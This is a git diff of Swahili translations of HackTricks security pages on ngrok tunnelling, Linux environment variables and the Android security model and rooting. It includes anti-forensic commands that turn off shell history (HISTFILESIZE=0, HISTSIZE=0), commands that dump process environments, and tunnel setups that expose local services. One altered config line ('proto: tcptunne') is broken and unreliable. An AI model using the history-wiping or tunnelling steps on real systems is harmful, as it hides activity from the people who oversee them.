||||||
|
|
||||||
*Inatumika kwa XSS, SSRF, SSTI ...*
|
*Inatumika kwa XSS, SSRF, SSTI ...*
|
||||||
Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||||
|
|
||||||
#### Kuchimba huduma ya ndani ya HTTP kwa njia ya handaki
|
#### Kutunelisha huduma ya ndani ya HTTP
|
||||||
```bash
|
```bash
|
||||||
./ngrok http localhost:8080 --host-header=rewrite
|
./ngrok http localhost:8080 --host-header=rewrite
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
|
@ -668,12 +504,12 @@ Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4
|
||||||
|
|
||||||
Inafungua njia 3:
|
Inafungua njia 3:
|
||||||
- 2 TCP
|
- 2 TCP
|
||||||
- 1 HTTP na ufunuo wa faili za tuli kutoka /tmp/httpbin/
|
- 1 HTTP na ufunuo wa faili za static kutoka /tmp/httpbin/
|
||||||
```yaml
|
```yaml
|
||||||
tunnels:
|
tunnels:
|
||||||
mytcp:
|
mytcp:
|
||||||
addr: 4444
|
addr: 4444
|
||||||
proto: tcp
|
proto: tcptunne
|
||||||
anothertcp:
|
anothertcp:
|
||||||
addr: 5555
|
addr: 5555
|
||||||
proto: tcp
|
proto: tcp
|
||||||
|
@ -686,14 +522,22 @@ addr: file:///tmp/httpbin/
|
||||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,23 +2,31 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Mazingira ya kawaida
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
Mazingira ya kawaida **yataurithiwa** na **mchakato wa watoto**.
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unaweza kuunda mazingira ya kawaida kwa kikao chako cha sasa kwa kufanya:
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Mazingira ya Kitaifa
|
||||||
|
|
||||||
|
Mazingira ya kitaifa **yataurithiwa na** **mchakato wa watoto**.
|
||||||
|
|
||||||
|
Unaweza kuunda mazingira ya kitaifa kwa kikao chako cha sasa kwa kufanya:
|
||||||
```bash
|
```bash
|
||||||
export MYGLOBAL="hello world"
|
export MYGLOBAL="hello world"
|
||||||
echo $MYGLOBAL #Prints: hello world
|
echo $MYGLOBAL #Prints: hello world
|
||||||
|
@ -29,29 +37,15 @@ Unaweza **kuondoa** variable kwa kufanya:
|
||||||
```bash
|
```bash
|
||||||
unset MYGLOBAL
|
unset MYGLOBAL
|
||||||
```
|
```
|
||||||
## Variables za ndani
|
## Variables za Kienyeji
|
||||||
|
|
||||||
**Variables za ndani** zinaweza kufikiwa tu na **kifaa cha sasa/kielekezi**.
|
**Variables za kienyeji** zinaweza kufikiwa tu na **shell/script ya sasa**.
|
||||||
```bash
|
```bash
|
||||||
LOCAL="my local"
|
LOCAL="my local"
|
||||||
echo $LOCAL
|
echo $LOCAL
|
||||||
unset LOCAL
|
unset LOCAL
|
||||||
```
|
```
|
||||||
## Orodha ya mazingira ya sasa
|
## Orodhesha mazingira ya sasa
|
||||||
|
|
||||||
To list the current environment variables in Linux, you can use the following command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
echo $VARIABLE_NAME
|
|
||||||
```
|
|
||||||
|
|
||||||
Replace `VARIABLE_NAME` with the name of the specific variable you want to display. If you want to list all the variables, you can use the `env` command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
env
|
|
||||||
```
|
|
||||||
|
|
||||||
This will display a list of all the current environment variables in your Linux system.
|
|
||||||
```bash
|
```bash
|
||||||
set
|
set
|
||||||
env
|
env
|
||||||
|
@ -59,63 +53,63 @@ printenv
|
||||||
cat /proc/$$/environ
|
cat /proc/$$/environ
|
||||||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||||
```
|
```
|
||||||
## Variables za Kawaida
|
## Vipimo vya kawaida
|
||||||
|
|
||||||
Kutoka: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
Kutoka: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||||
|
|
||||||
* **DISPLAY** - kuonyesha inayotumiwa na **X**. Kawaida, hii variable imewekwa kama **:0.0**, ambayo inamaanisha kuwa ni kuonyesha ya kwanza kwenye kompyuta ya sasa.
|
* **DISPLAY** – kiolesura kinachotumiwa na **X**. Kipimo hiki kawaida huwekwa kama **:0.0**, ambayo inamaanisha kiolesura cha kwanza kwenye kompyuta ya sasa.
|
||||||
* **EDITOR** - mhariri wa maandishi unaopendelewa na mtumiaji.
|
* **EDITOR** – mhariri wa maandishi unaopendelewa na mtumiaji.
|
||||||
* **HISTFILESIZE** - idadi kubwa ya mistari inayoweza kuwa kwenye faili ya historia.
|
* **HISTFILESIZE** – idadi kubwa ya mistari inayojumuishwa kwenye faili ya historia.
|
||||||
* **HISTSIZE** - Idadi ya mistari inayopaswa kuongezwa kwenye faili ya historia wakati mtumiaji anapomaliza kikao chake.
|
* **HISTSIZE** – Idadi ya mistari inayoongezwa kwenye faili ya historia wakati mtumiaji anamaliza kikao chake.
|
||||||
* **HOME** - saraka yako ya nyumbani.
|
* **HOME** – saraka yako ya nyumbani.
|
||||||
* **HOSTNAME** - jina la mwenyeji wa kompyuta.
|
* **HOSTNAME** – jina la mwenyeji wa kompyuta.
|
||||||
* **LANG** - lugha yako ya sasa.
|
* **LANG** – lugha yako ya sasa.
|
||||||
* **MAIL** - eneo la sanduku la barua pepe la mtumiaji. Kawaida ni **/var/spool/mail/USER**.
|
* **MAIL** – eneo la sanduku la barua pepe la mtumiaji. Kawaida **/var/spool/mail/USER**.
|
||||||
* **MANPATH** - orodha ya saraka za kutafuta kurasa za mwongozo.
|
* **MANPATH** – orodha ya saraka za kutafuta kurasa za mwongozo.
|
||||||
* **OSTYPE** - aina ya mfumo wa uendeshaji.
|
* **OSTYPE** – aina ya mfumo wa uendeshaji.
|
||||||
* **PS1** - ishara ya amri ya msingi katika bash.
|
* **PS1** – ishara ya amri ya msingi katika bash.
|
||||||
* **PATH** - inahifadhi njia ya saraka zote ambazo zina faili za binary unazotaka kutekeleza kwa kutoa tu jina la faili na sio njia ya kihusishi au kamili.
|
* **PATH** – hifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kutoa jina la faili na sio kwa njia ya kihusishi au kamili.
|
||||||
* **PWD** - saraka ya kazi ya sasa.
|
* **PWD** – saraka ya kazi ya sasa.
|
||||||
* **SHELL** - njia ya kabati ya amri ya sasa (kwa mfano, **/bin/bash**).
|
* **SHELL** – njia ya kabu ya amri ya sasa (kwa mfano, **/bin/bash**).
|
||||||
* **TERM** - aina ya terminal ya sasa (kwa mfano, **xterm**).
|
* **TERM** – aina ya terminal ya sasa (kwa mfano, **xterm**).
|
||||||
* **TZ** - muda wako wa eneo.
|
* **TZ** – eneo lako la muda.
|
||||||
* **USER** - jina lako la mtumiaji la sasa.
|
* **USER** – jina lako la mtumiaji la sasa.
|
||||||
|
|
||||||
## Variables za Kuvutia kwa Udukuzi
|
## Vipimo vya kuvutia kwa udukuzi
|
||||||
|
|
||||||
### **HISTFILESIZE**
|
### **HISTFILESIZE**
|
||||||
|
|
||||||
Badilisha **thamani ya variable hii kuwa 0**, ili wakati unapo **maliza kikao chako**, faili ya historia (\~/.bash\_history) **itafutwa**.
|
Badilisha **thamani ya kipimo hiki kuwa 0**, hivyo unapomaliza kikao chako faili ya historia (\~/.bash\_history) **itafutwa**.
|
||||||
```bash
|
```bash
|
||||||
export HISTFILESIZE=0
|
export HISTFILESIZE=0
|
||||||
```
|
```
|
||||||
### **HISTSIZE**
|
### **HISTSIZE**
|
||||||
|
|
||||||
Badilisha **thamani ya kipekee ya hii variable kuwa 0**, ili wakati unapo **maliza kikao chako**, amri yoyote itakayotumika haitaongezwa kwenye **faili ya historia** (\~/.bash\_history).
|
**Badilisha thamani ya kigezo hiki iwe 0**, ili unapomaliza **kikao chako** amri yoyote isiongezwe kwenye **faili ya historia** (\~/.bash\_history).
|
||||||
```bash
|
```bash
|
||||||
export HISTSIZE=0
|
export HISTSIZE=0
|
||||||
```
|
```
|
||||||
### http\_proxy & https\_proxy
|
### http\_proxy & https\_proxy
|
||||||
|
|
||||||
Mchakato utatumia **proxy** iliyotangazwa hapa kuunganisha na mtandao kupitia **http au https**.
|
Mchakato utatumia **proxy** iliyotangazwa hapa kuunganisha kwenye mtandao kupitia **http au https**.
|
||||||
```bash
|
```bash
|
||||||
export http_proxy="http://10.10.10.10:8080"
|
export http_proxy="http://10.10.10.10:8080"
|
||||||
export https_proxy="http://10.10.10.10:8080"
|
export https_proxy="http://10.10.10.10:8080"
|
||||||
```
|
```
|
||||||
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
||||||
|
|
||||||
Mchakato utaamini vyeti vilivyotajwa katika **hizi variables za mazingira**.
|
Mchakato utaamini vyeti vilivyoorodheshwa katika **hizi variables za mazingira**.
|
||||||
```bash
|
```bash
|
||||||
export SSL_CERT_FILE=/path/to/ca-bundle.pem
|
export SSL_CERT_FILE=/path/to/ca-bundle.pem
|
||||||
export SSL_CERT_DIR=/path/to/ca-certificates
|
export SSL_CERT_DIR=/path/to/ca-certificates
|
||||||
```
|
```
|
||||||
### PS1
|
### PS1
|
||||||
|
|
||||||
Badilisha jinsi kivinjari chako kinavyoonekana.
|
**Badilisha jinsi dirisha lako la amri linavyoonekana.**
|
||||||
|
|
||||||
[**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
[**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||||
|
|
||||||
Root:
|
Mizizi:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (87).png>)
|
![](<../.gitbook/assets/image (87).png>)
|
||||||
|
|
||||||
|
@ -123,24 +117,30 @@ Mtumiaji wa kawaida:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (88).png>)
|
![](<../.gitbook/assets/image (88).png>)
|
||||||
|
|
||||||
Kazi tatu zilizowekwa nyuma:
|
Kazi moja, mbili na tatu zilizowekwa nyuma:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (89).png>)
|
![](<../.gitbook/assets/image (89).png>)
|
||||||
|
|
||||||
Kazi moja iliyowekwa nyuma, moja ilisimamishwa na amri ya mwisho haikumalizika kwa usahihi:
|
Kazi moja iliyowekwa nyuma, moja imezuiliwa na amri ya mwisho haikumalizika kwa usahihi:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (90).png>)
|
![](<../.gitbook/assets/image (90).png>)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -14,6 +14,14 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Mfano wa Usalama wa Android
|
## Mfano wa Usalama wa Android
|
||||||
|
|
||||||
**Kuna safu mbili:**
|
**Kuna safu mbili:**
|
||||||
|
@ -27,42 +35,42 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
### Kushiriki UID
|
### Kushiriki UID
|
||||||
|
|
||||||
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inachukuliwa **si nzuri**.\
|
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inapendekezwa **kutofanywa**.\
|
||||||
**Ili kushiriki UID sawa, maombi lazima yatamke thamani sawa ya `android:sharedUserId` katika mizizi yao.**
|
**Ili kushiriki UID sawa, maombi lazima yatamke thamani sawa ya `android:sharedUserId` katika mizizi yao.**
|
||||||
|
|
||||||
### Sandboxing
|
### Sanduku la Kumaliza
|
||||||
|
|
||||||
**Sandbox ya Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, hivyo msimbo wa programu hufanya kazi kivyake kutoka kwa programu nyingine.\
|
**Sanduku la Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, kwa hivyo msimbo wa programu unafanya kazi kivyake kutoka kwa programu zingine.\
|
||||||
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha ikatengeneza sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
|
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha iliumba sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
|
||||||
|
|
||||||
### Ruhusa
|
### Ruhusa
|
||||||
|
|
||||||
Unapoweka **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\
|
Unapojisakinisha **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\
|
||||||
Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa njia ya kudhibiti** lakini ruhusa zote lazima zitamkwe katika **mizizi.**
|
Tambua kwamba programu za android hazihitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa kudhibiti** lakini ruhusa zote lazima zitangazwe katika **mizizi**.
|
||||||
|
|
||||||
Wakati programu inafunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\
|
Wakati programu inafunua utendaji inaweza kizuia **upatikanaji kwa programu tu zenye ruhusa iliyoelezwa**.\
|
||||||
Kipengele cha ruhusa kina sifa tatu:
|
Kipengele cha ruhusa kina sifa tatu:
|
||||||
|
|
||||||
* **Jina** la ruhusa
|
* **Jina** la ruhusa
|
||||||
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kwa kikundi cha ruhusa kinachohusiana.
|
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kikundi cha ruhusa kinachohusiana.
|
||||||
* **Kiwanja cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
|
* **Kiwanja cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
|
||||||
* **Kawaida**: Hutumiwa wakati hakuna **tishio lililojulikana** kwa programu. Mtumiaji **hahitajiki kuidhinisha**.
|
* **Kawaida**: Hutumiwa wakati hakuna **tishio lililojulikana** kwa programu. Mtumiaji **hahitajiki kuidhinisha**.
|
||||||
* **Hatari**: Inaonyesha ruhusa inatoa programu inayoomba **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuziidhinisha**.
|
* **Hatari**: Inaonyesha ruhusa inayompa programu inayoomba ufikiaji fulani. **Watumiaji wanahitajika kuidhinisha**.
|
||||||
* **Sahihi**: **Maombi yaliyosainiwa na cheti kile kile** kama kinachotumia kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
|
* **Sahihi**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
|
||||||
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti kile kile** kama kinachotumia kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
|
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee au **maombi yanayotumia ufikiaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
|
||||||
|
|
||||||
## Maombi Yaliyosanikishwa Kabla
|
## Maombi Yaliyosanikishwa Kabla
|
||||||
|
|
||||||
Maombi haya kwa kawaida hupatikana kwenye **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuchunguza kwa sababu mara nyingi yanakuwa **yanaendeshwa na ruhusa nyingi sana** (kama mtumiaji wa msingi).
|
Maombi haya kwa kawaida hupatikana katika saraka za **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuchunguza kwa sababu mara nyingi yanakuwa **yakifanya kazi na ruhusa nyingi sana** (kama mtumiaji wa msingi).
|
||||||
|
|
||||||
* Yaliyotumwa na **AOSP** (Android OpenSource Project) **ROM**
|
* Yaliyotumwa na **AOSP** (Mradi wa Chanzo Wazi wa Android) **ROM**
|
||||||
* Yaliyotolewa na **mtengenezaji wa kifaa**
|
* Yaliyotolewa na **mtengenezaji wa kifaa**
|
||||||
* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeunuliwa kutoka kwao)
|
* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeununuliwa kutoka kwao)
|
||||||
|
|
||||||
## Kuroot
|
## Kuroot
|
||||||
|
|
||||||
Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kwa kawaida huwa **maalum** kwa **kifaa** na **toleo**.\
|
Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kawaida huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||||
Maranyingi baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
|
Baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
|
||||||
|
|
||||||
Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutimiza maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutimiza maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
||||||
|
|
||||||
|
@ -72,25 +80,25 @@ Tambua kwamba mchakato wa kuroot ni hatari sana na unaweza kuharibu vibaya kifaa
|
||||||
|
|
||||||
### ROMs
|
### ROMs
|
||||||
|
|
||||||
